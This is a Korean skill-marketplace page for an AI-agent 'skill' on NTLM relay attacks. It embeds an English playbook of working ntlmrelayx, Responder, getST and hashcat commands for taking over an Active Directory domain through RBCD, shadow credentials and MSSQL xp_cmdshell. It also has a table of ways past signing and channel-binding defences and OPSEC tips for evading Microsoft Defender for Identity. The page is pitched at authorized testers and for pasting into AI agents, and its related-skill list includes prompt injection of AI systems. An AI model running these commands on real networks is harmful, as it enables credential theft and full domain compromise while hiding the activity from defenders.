ad-ntlm-relay
하는 일
이 스킬은 캡처한 로그인 정보가 다른 서비스로 전달되는 Windows 로그인 약점인 NTLM 릴레이에 대한 자세한 안내서입니다. 도메인의 위험을 이해해야 하는 보안 테스터와 감사자를 위한 스킬입니다.
사용하는 경우
- ✓보안 테스터가 허가된 도메인에서 어떤 서비스가 NTLM 릴레이의 영향을 받을 수 있는지 물을 때.
- ✓에이전트가 워크스테이션에서 SMB 서명이 꺼져 있는지 확인해야 할 때.
- ✓보고서에 NTLM 릴레이의 위험과 해결책을 쉬운 말로 설명해야 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 허가된 네트워크에서 SMB 서명이 꺼진 컴퓨터를 확인해 주시겠어요? NTLM 릴레이가 가능한 곳을 알고 싶습니다.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 SMB 서명이 꺼진 대상 컴퓨터 목록을 만들고, 릴레이된 로그인을 받아들일 수 있는 서비스와 비교한 뒤 결과를 보고합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
NTLM Relay Deep Dive
You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.
Target selection matrix
| Target protocol | Outcome | Requires |
|---|---|---|
| LDAP / LDAPS to a DC | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |
| SMB to a workstation | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |
| HTTP /certsrv/ (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |
| MSSQL | Database access; xp_cmdshell if linked |
Victim has DB privs |
| IMAP (Exchange) | Mailbox access | Victim has mailbox |
| HTTP /EWS (Exchange) | Mailbox + autodiscover | EWS reachable |
| LDAPS to DC for shadow creds | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |
SMB signing — the key constraint
| Target | Default SMB signing |
|---|---|
| DC | REQUIRED (signing on, must verify) — can't relay SMB to DC |
| Domain workstations | NOT REQUIRED (off by default) — can relay |
| File servers | usually REQUIRED |
| Linux Samba | varies |
Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.
Most useful chains
Coerce → relay to LDAP → RBCD attack
# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover
Coerce → relay to ADCS → DA cert
See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.
Responder → relay to LDAP for Shadow Credentials
sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy
Relay to MSSQL — pivot via xp_cmdshell
sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver
Multi-relay — fan-out one auth to many targets
# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)
When to crack instead of relay
If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):
# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules
Relay is BETTER when:
- You don't have time to crack (operationally bounded engagement)
- The hash is from a service account / computer account (uncrackable)
- The target requires the actual session (e.g., LDAPS, signed SMB)
Crack is BETTER when:
- You want offline persistence (don't need to be on the wire)
- The credentials are reusable across services
- Auth was from a normal user with a weak password
Signing-required mitigations and bypasses
| Defense | Bypass |
|---|---|
| SMB signing required on target | Relay to NON-SMB target (LDAP, HTTP, MSSQL) |
| LDAP channel binding | Relay to LDAPS instead (different binding rules) |
| Extended Protection for Authentication (EPA) | Relay to a service that doesn't enforce EPA (older Exchange, etc.) |
| MS16-075 ("hot potato" SMB→SMB block) | Cross-protocol relay works around it |
OPSEC
- Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
- LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.
- MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.
References
- impacket ntlmrelayx — github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
- dirk
자주 묻는 질문
SMB 서명이란 무엇인가요?
파일 공유 트래픽의 무결성을 확인하는 설정입니다. 꺼져 있으면 일부 릴레이된 로그인이 받아들여질 수 있습니다.
도메인 컨트롤러에는 왜 SMB로 릴레이할 수 없나요?
스킬은 도메인 컨트롤러가 보통 SMB 서명을 요구하며, 이것이 해당 경로를 막는다고 설명합니다.
스킬은 해결 방법을 설명하나요?
서명을 켜는 것과 릴레이 대상을 제한하는 것을 언급하며, 어떤 방법을 쓸지는 시스템 소유자가 정합니다.
상세 정보
작성자의 원본 설명
NTLM relay deep-dive — `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).
인기도
- GitHub 스타
- 6.5k
- 순위
- #13945
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.